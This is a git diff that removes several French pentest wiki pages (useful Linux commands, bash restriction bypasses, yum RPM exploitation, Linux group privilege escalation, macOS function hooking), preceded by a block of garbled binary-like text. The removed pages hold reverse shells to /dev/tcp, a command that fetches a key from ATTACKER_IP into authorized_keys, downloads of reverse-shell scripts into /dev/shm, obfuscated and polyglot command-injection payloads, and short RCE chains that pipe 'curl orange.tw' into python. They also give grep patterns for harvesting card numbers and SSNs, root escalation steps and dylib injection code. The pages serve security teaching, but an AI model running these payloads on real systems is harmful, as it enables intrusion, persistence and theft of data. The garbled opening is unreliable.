z6?2C!EZTav^BEN6D7Xd-s71w;|HISa=~|o9?zwt}x5T%1_IC$xVq^_(Czvy#qyy+1 z)R*KY&93$EBZn)wKER9GV>MYAKJqm|EX-SR?3X4Zxyx*oU)~Th>OPI!zw}^;h%%7is4eNI*{rDk?iG?~E*i^!# z#<-#xOWKF0gyglsR7FWo%NTxjWFrr2nxuRC0f4apDf`lYHZuIRaYjLyj5O&DBEjU& z+)sl40N&3?o&^~KMxB~H5eoALqOSLm{R@5KcK=cjFG3a)A>mYqvT=lX^^!RG5*JfV z{;&V2TIpY4RISTU=!=${bmq4s^j5v@uxz1cyRnCLRVs zV0*S67)250CLd09ADdu+Ia9CG*SbtBUu9$q+X*qn{~^2A^?aclWp7b?ue~NBAcT6a z>u=Q-(f-Q_9k;wD-;!VpVFWP>T?Upg1&^wgLGgRW{|I6M=cmOX&D>06BAZg0b(ZtM zr%|X@_ySFp``7uGe-*!C5>NLKg#{r0KZ;#C$X9rWZAq;Tg{h|gSMxvhhxVv&{k*WT56+Ct-{r7ag5a(Cc{!t}^>~FK-*VBLgUu%8m}=&JMEqO)m;48+ z-{~#2n^QTV)&%4^a;B#;hs6a5^|Aj62wckQ`o9Qz4(7~FqW0D z*TPyFVj(JZnA;Dr*eLIBzg*lLm1~*p{viCH9^~+wr1y+t{~yAmgxQ!`+6YDSEB$|w z0SDtm+984z4BnUvq}Y?`lGahBc`}~P{UcABrj5bFXlDPiAS^e0?x1+!HE^>$G}0o_ zeVrDRM^)WhDOD*oduxrdzd_b$cmH - -``` -## Défense - -Ne mettez jamais de données sensibles dans les paramètres GET ou les chemins dans l'URL. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md deleted file mode 100644 index 8e5e19a16..000000000 --- a/src/linux-hardening/useful-linux-commands/README.md +++ /dev/null @@ -1,297 +0,0 @@ -# Commandes Linux utiles - - -{{#include ../../banners/hacktricks-training.md}} - -## Bash commun -```bash -#Exfiltration using Base64 -base64 -w 0 file - -#Get HexDump without new lines -xxd -p boot12.bin | tr -d '\n' - -#Add public key to authorized keys -curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys - -#Echo without new line and Hex -echo -n -e - -#Count -wc -l #Lines -wc -c #Chars - -#Sort -sort -nr #Sort by number and then reverse -cat file | sort | uniq #Sort and delete duplicates - -#Replace in file -sed -i 's/OLD/NEW/g' path/file #Replace string inside a file - -#Download in RAM -wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py -wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm -curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py - -#Files used by network processes -lsof #Open files belonging to any process -lsof -p 3 #Open files used by the process -lsof -i #Files used by networks processes -lsof -i 4 #Files used by network IPv4 processes -lsof -i 6 #Files used by network IPv6 processes -lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 -lsof +D /lib #Processes using files inside the indicated dir -lsof -i :80 #Files uses by networks processes -fuser -nv tcp 80 - -#Decompress -tar -xvzf /path/to/yourfile.tgz -tar -xvjf /path/to/yourfile.tbz -bzip2 -d /path/to/yourfile.bz2 -tar jxf file.tar.bz2 -gunzip /path/to/yourfile.gz -unzip file.zip -7z -x file.7z -sudo apt-get install xz-utils; unxz file.xz - -#Add new user -useradd -p 'openssl passwd -1 ' hacker - -#Clipboard -xclip -sel c < cat file.txt - -#HTTP servers -python -m SimpleHTTPServer 80 -python3 -m http.server -ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" -php -S $ip:80 - -#Curl -#json data -curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint -#Auth via JWT -curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint - -#Send Email -sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content - -#DD copy hex bin file without first X (28) bytes -dd if=file.bin bs=28 skip=1 of=blob - -#Mount .vhd files (virtual hard drive) -sudo apt-get install libguestfs-tools -guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd - -# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys -ssh-keyscan 10.10.10.101 - -# Openssl -openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server -openssl x509 -in ca.cert.pem -text #Read certificate -openssl genrsa -out newuser.key 2048 #Create new RSA2048 key -openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) -openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate -openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate -openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) -# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: -openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 -# Decrypt ssh key -openssl rsa -in key.ssh.enc -out key.ssh -#Decrypt -openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz - -#Count number of instructions executed by a program, need a host based linux (not working in VM) -perf stat -x, -e instructions:u "ls" - -#Find trick for HTB, find files from 2018-12-12 to 2018-12-14 -find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null - -#Reconfigure timezone -sudo dpkg-reconfigure tzdata - -#Search from which package is a binary -apt-file search /usr/bin/file #Needed: apt-get install apt-file - -#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html -echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw - -#Set not removable bit -sudo chattr +i file.txt -sudo chattr -i file.txt #Remove the bit so you can delete it - -# List files inside zip -7z l file.zip -``` -## Bash pour Windows -```bash -#Base64 for Windows -echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 - -#Exe compression -upx -9 nc.exe - -#Exe2bat -wine exe2bat.exe nc.exe nc.txt - -#Compile Windows python exploit to exe -pip install pyinstaller -wget -O exploit.py http://www.exploit-db.com/download/31853 -python pyinstaller.py --onefile exploit.py - -#Compile for windows -#sudo apt-get install gcc-mingw-w64-i686 -i686-mingw32msvc-gcc -o executable useradd.c -``` -## Greps -```bash -#Extract emails from file -grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt - -#Extract valid IP addresses -grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt - -#Extract passwords -grep -i "pwd\|passw" file.txt - -#Extract users -grep -i "user\|invalid\|authentication\|login" file.txt - -# Extract hashes -#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) -egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt -#Extract valid MySQL-Old hashes -grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt -#Extract blowfish hashes -grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt -#Extract Joomla hashes -egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt -#Extract VBulletin hashes -egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt -#Extraxt phpBB3-MD5 -egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt -#Extract Wordpress-MD5 -egrep -o '$P$S{31}' *.txt > wordpress-md5.txt -#Extract Drupal 7 -egrep -o '$S$S{52}' *.txt > drupal-7.txt -#Extract old Unix-md5 -egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt -#Extract md5-apr1 -egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt -#Extract sha512crypt, SHA512(Unix) -egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt - -#Extract e-mails from text files -grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt - -#Extract HTTP URLs from text files -grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt -#For extracting HTTPS, FTP and other URL format use -grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt -#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" - -#Extract Floating point numbers -grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt - -# Extract credit card data -#Visa -grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt -#MasterCard -grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt -#American Express -grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt -#Diners Club -grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt -#Discover -grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt -#JCB -grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt -#AMEX -grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt - -# Extract IDs -#Extract Social Security Number (SSN) -grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt -#Extract Indiana Driver License Number -grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt -#Extract US Passport Cards -grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt -#Extract US Passport Number -grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt -#Extract US Phone Numberss -grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt -#Extract ISBN Numbers -egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt -``` -## Trouver -```bash -# Find SUID set files. -find / -perm /u=s -ls 2>/dev/null - -# Find SGID set files. -find / -perm /g=s -ls 2>/dev/null - -# Found Readable directory and sort by time. (depth = 4) -find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Writable directory and sort by time. (depth = 10) -find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current User and sort by time. (depth = 10) -find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current Group ID and Sort by time. (depth = 10) -find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Newer files and sort by time. (depth = 5) -find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer files only and sort by time. (depth = 5) -find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer directory only and sort by time. (depth = 5) -find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less -``` -## Aide à la recherche Nmap -```bash -#Nmap scripts ((default or version) and smb)) -nmap --script-help "(default or version) and *smb*" -locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb -nmap --script-help "(default or version) and smb)" -``` -## Bash -```bash -#All bytes inside a file (except 0x20 and 0x00) -for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done -``` -## Iptables -```bash -#Delete curent rules and chains -iptables --flush -iptables --delete-chain - -#allow loopback -iptables -A INPUT -i lo -j ACCEPT -iptables -A OUTPUT -o lo -j ACCEPT - -#drop ICMP -iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP -iptables -A OUTPUT -p icmp -j DROP - -#allow established connections -iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT - -#allow ssh, http, https, dns -iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT -iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT -iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT -iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT -iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT - -#default policies -iptables -P INPUT DROP -iptables -P FORWARD ACCEPT -iptables -P OUTPUT ACCEPT -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md deleted file mode 100644 index 72d0a88ac..000000000 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ /dev/null @@ -1,319 +0,0 @@ -# Contourner les restrictions Linux - -{{#include ../../banners/hacktricks-training.md}} - -## Contournements des limitations courantes - -### Shell inversé -```bash -# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time -echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' -# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h -``` -### Shell Rev courte -```bash -#Trick from Dikline -#Get a rev shell with -(sh)0>/dev/tcp/10.10.10.10/443 -#Then get the out of the rev shell executing inside of it: -exec >&0 -``` -### Contournement des chemins et des mots interdits -```bash -# Question mark binary substitution -/usr/bin/p?ng # /usr/bin/ping -nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost - -# Wildcard(*) binary substitution -/usr/bin/who*mi # /usr/bin/whoami - -# Wildcard + local directory arguments -touch -- -la # -- stops processing options after the -- -ls * -echo * #List current files and folders with echo and wildcard - -# [chars] -/usr/bin/n[c] # /usr/bin/nc - -# Quotes -'p'i'n'g # ping -"w"h"o"a"m"i # whoami -ech''o test # echo test -ech""o test # echo test -bas''e64 # base64 - -#Backslashes -\u\n\a\m\e \-\a # uname -a -/\b\i\n/////s\h - -# $@ -who$@ami #whoami - -# Transformations (case, reverse, base64) -$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case -$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash) -$(rev<<<'imaohw') #whoami -bash<<<$(base64 -d<< /tmp/[ -chmod +x [ -export PATH=/tmp:$PATH -if [ "a" ]; then echo 1; fi # Will print hello! -``` -### Injection de commande polyglotte -```bash -1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} -/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ -``` -### Contourner les regex potentielles -```bash -# A regex that only allow letters and numbers might be vulnerable to new line characters -1%0a`curl http://attacker.com` -``` -### Bashfuscator -```bash -# From https://github.com/Bashfuscator/Bashfuscator -./bashfuscator -c 'cat /etc/passwd' -``` -### RCE avec 5 caractères -```bash -# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge -#Oragnge Tsai solution -## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date -http://host/?cmd=>ls\ -http://host/?cmd=ls>_ -http://host/?cmd=>\ \ -http://host/?cmd=>-t\ -http://host/?cmd=>\>g -http://host/?cmd=ls>>_ - -## Step2: generate `curl orange.tw|python` to file "g" -## by creating the necesary filenames and writting that content to file "g" executing the previous generated file -http://host/?cmd=>on -http://host/?cmd=>th\ -http://host/?cmd=>py\ -http://host/?cmd=>\|\ -http://host/?cmd=>tw\ -http://host/?cmd=>e.\ -http://host/?cmd=>ng\ -http://host/?cmd=>ra\ -http://host/?cmd=>o\ -http://host/?cmd=>\ \ -http://host/?cmd=>rl\ -http://host/?cmd=>cu\ -http://host/?cmd=sh _ -# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file - -## Finally execute the file "g" -http://host/?cmd=sh g - - -# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*" -https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -## Execute tar command over a folder -http://52.199.204.34/?cmd=>tar -http://52.199.204.34/?cmd=>zcf -http://52.199.204.34/?cmd=>zzz -http://52.199.204.34/?cmd=*%20/h* - -# Another curiosity if you can read files of the current folder -ln /f* -## If there is a file /flag.txt that will create a hard link -## to it in the current folder -``` -### RCE avec 4 caractères -```bash -# In a similar fashion to the previous bypass this one just need 4 chars to execute commands -# it will follow the same principle of creating the command `ls -t>g` in a file -# and then generate the full command in filenames -# generate "g> ht- sl" to file "v" -'>dir' -'>sl' -'>g\>' -'>ht-' -'*>v' - -# reverse file "v" to file "x", content "ls -th >g" -'>rev' -'*v>x' - -# generate "curl orange.tw|python;" -'>\;\\' -'>on\\' -'>th\\' -'>py\\' -'>\|\\' -'>tw\\' -'>e.\\' -'>ng\\' -'>ra\\' -'>o\\' -'>\ \\' -'>rl\\' -'>cu\\' - -# got shell -'sh x' -'sh g' -``` -## Contournement en lecture seule/noexec/distroless - -Si vous êtes à l'intérieur d'un système de fichiers avec les **protections en lecture seule et noexec** ou même dans un conteneur distroless, il existe encore des moyens d'**exécuter des binaires arbitraires, même un shell ! :** - -{{#ref}} -../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ -{{#endref}} - -## Contournement de Chroot et autres Jails - -{{#ref}} -../privilege-escalation/escaping-from-limited-bash.md -{{#endref}} - -## Références et plus - -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) -- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) -- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md deleted file mode 100644 index a992c20e1..000000000 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ /dev/null @@ -1,23 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -D'autres exemples autour de yum peuvent également être trouvés sur [gtfobins](https://gtfobins.github.io/gtfobins/yum/). - -# Exécution de commandes arbitraires via des paquets RPM - -## Vérification de l'environnement - -Pour exploiter ce vecteur, l'utilisateur doit être en mesure d'exécuter des commandes yum en tant qu'utilisateur ayant des privilèges plus élevés, c'est-à-dire root. - -### Un exemple fonctionnel de ce vecteur - -Un exemple fonctionnel de cette exploitation peut être trouvé dans la salle [daily bugle](https://tryhackme.com/room/dailybugle) sur [tryhackme](https://tryhackme.com). - -## Emballage d'un RPM - -Dans la section suivante, je vais couvrir l'emballage d'un shell inversé dans un RPM en utilisant [fpm](https://github.com/jordansissel/fpm). - -L'exemple ci-dessous crée un paquet qui inclut un déclencheur avant l'installation avec un script arbitraire qui peut être défini par l'attaquant. Lors de l'installation, ce paquet exécutera la commande arbitraire. J'ai utilisé un exemple simple de shell netcat inversé à des fins de démonstration, mais cela peut être modifié si nécessaire. -```text - -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md deleted file mode 100644 index d657f6204..000000000 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ /dev/null @@ -1,141 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Groupes Sudo/Admin - -## **PE - Méthode 1** - -**Parfois**, **par défaut \(ou parce que certains logiciels en ont besoin\)**, dans le fichier **/etc/sudoers**, vous pouvez trouver certaines de ces lignes : -```bash -# Allow members of group sudo to execute any command -%sudo ALL=(ALL:ALL) ALL - -# Allow members of group admin to execute any command -%admin ALL=(ALL:ALL) ALL -``` -Cela signifie que **tout utilisateur appartenant au groupe sudo ou admin peut exécuter n'importe quoi en tant que sudo**. - -Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** : -```text -sudo su -``` -## PE - Méthode 2 - -Trouvez tous les binaires suid et vérifiez s'il y a le binaire **Pkexec** : -```bash -find / -perm -4000 2>/dev/null -``` -Si vous constatez que le binaire pkexec est un binaire SUID et que vous appartenez à sudo ou admin, vous pourriez probablement exécuter des binaires en tant que sudo en utilisant pkexec. -Vérifiez le contenu de : -```bash -cat /etc/polkit-1/localauthority.conf.d/* -``` -Là, vous trouverez quels groupes sont autorisés à exécuter **pkexec** et **par défaut** dans certains linux peuvent **apparaître** certains des groupes **sudo ou admin**. - -Pour **devenir root, vous pouvez exécuter** : -```bash -pkexec "/bin/sh" #You will be prompted for your user password -``` -Si vous essayez d'exécuter **pkexec** et que vous obtenez cette **erreur** : -```bash -polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie -==== AUTHENTICATION FAILED === -Error executing command as another user: Not authorized -``` -**Ce n'est pas parce que vous n'avez pas les permissions mais parce que vous n'êtes pas connecté sans une interface graphique**. Et il existe une solution à ce problème ici : [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes** : -```bash:session1 -echo $$ #Step1: Get current PID -pkexec "/bin/bash" #Step 3, execute pkexec -#Step 5, if correctly authenticate, you will have a root session -``` - -```bash:session2 -pkttyagent --process #Step 2, attach pkttyagent to session1 -#Step 4, you will be asked in this session to authenticate to pkexec -``` -# Groupe Wheel - -**Parfois**, **par défaut** dans le fichier **/etc/sudoers**, vous pouvez trouver cette ligne : -```text -%wheel ALL=(ALL:ALL) ALL -``` -Cela signifie que **tout utilisateur appartenant au groupe wheel peut exécuter n'importe quoi en tant que sudo**. - -Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** : -```text -sudo su -``` -# Groupe Shadow - -Les utilisateurs du **groupe shadow** peuvent **lire** le fichier **/etc/shadow** : -```text --rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -``` -Alors, lisez le fichier et essayez de **craquer quelques hachages**. - -# Groupe de disque - -Ce privilège est presque **équivalent à un accès root** car vous pouvez accéder à toutes les données à l'intérieur de la machine. - -Fichiers : `/dev/sd[a-z][1-9]` -```text -debugfs /dev/sda1 -debugfs: cd /root -debugfs: ls -debugfs: cat /root/.ssh/id_rsa -debugfs: cat /etc/shadow -``` -Notez qu'en utilisant debugfs, vous pouvez également **écrire des fichiers**. Par exemple, pour copier `/tmp/asd1.txt` vers `/tmp/asd2.txt`, vous pouvez faire : -```bash -debugfs -w /dev/sda1 -debugfs: dump /tmp/asd1.txt /tmp/asd2.txt -``` -Cependant, si vous essayez de **écrire des fichiers appartenant à root** \(comme `/etc/shadow` ou `/etc/passwd`\), vous obtiendrez une erreur "**Permission denied**". - -# Video Group - -En utilisant la commande `w`, vous pouvez trouver **qui est connecté au système** et cela affichera une sortie comme celle-ci : -```bash -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -yossi tty1 22:16 5:13m 0.05s 0.04s -bash -moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash -``` -Le **tty1** signifie que l'utilisateur **yossi est connecté physiquement** à un terminal sur la machine. - -Le **groupe vidéo** a accès à l'affichage de la sortie écran. En gros, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle à l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran dans `/sys/class/graphics/fb0/virtual_size` -```bash -cat /dev/fb0 > /tmp/screen.raw -cat /sys/class/graphics/fb0/virtual_size -``` -Pour **ouvrir** l'**image brute**, vous pouvez utiliser **GIMP**, sélectionner le fichier **`screen.raw`** et choisir comme type de fichier **Données d'image brute** : - -![](../../images/image%20%28208%29.png) - -Ensuite, modifiez la largeur et la hauteur pour celles utilisées sur l'écran et vérifiez différents types d'images \(et sélectionnez celui qui montre mieux l'écran\) : - -![](../../images/image%20%28295%29.png) - -# Groupe Root - -Il semble qu'en par défaut, les **membres du groupe root** pourraient avoir accès à **modifier** certains fichiers de configuration de **service** ou certains fichiers de **bibliothèques** ou **d'autres choses intéressantes** qui pourraient être utilisées pour élever les privilèges... - -**Vérifiez quels fichiers les membres root peuvent modifier** : -```bash -find / -group root -perm -g=w 2>/dev/null -``` -# Groupe Docker - -Vous pouvez monter le système de fichiers racine de la machine hôte sur le volume d'une instance, de sorte que lorsque l'instance démarre, elle charge immédiatement un `chroot` dans ce volume. Cela vous donne effectivement un accès root sur la machine. - -{{#ref}} -https://github.com/KrustyHack/docker-privilege-escalation -{{#endref}} - -{{#ref}} -https://fosterelli.co/privilege-escalation-via-docker.html -{{#endref}} - -# Groupe lxc/lxd - -[lxc - Escalade de privilèges](lxd-privilege-escalation.md) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md deleted file mode 100644 index bc993eea3..000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ /dev/null @@ -1,338 +0,0 @@ -# macOS Function Hooking - -{{#include ../../../banners/hacktricks-training.md}} - -## Interposition de Fonction - -Créez un **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonction** qui se réfèrent aux fonctions **originales** et **de remplacement**. - -Ensuite, **injectez** le dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interposition doit se produire avant le chargement de l'application principale). Évidemment, les [**restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). - -### Interposer printf - -{{#tabs}} -{{#tab name="interpose.c"}} -```c:interpose.c -// gcc -dynamiclib interpose.c -o interpose.dylib -#include -#include - -int my_printf(const char *format, ...) { -//va_list args; -//va_start(args, format); -//int ret = vprintf(format, args); -//va_end(args); - -int ret = printf("Hello from interpose\n"); -return ret; -} - -__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf -__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; -``` -{{#endtab}} - -{{#tab name="hello.c"}} -```c -//gcc hello.c -o hello -#include - -int main() { -printf("Hello World!\n"); -return 0; -} -``` -{{#endtab}} - -{{#tab name="interpose2.c"}} -```c -// Just another way to define an interpose -// gcc -dynamiclib 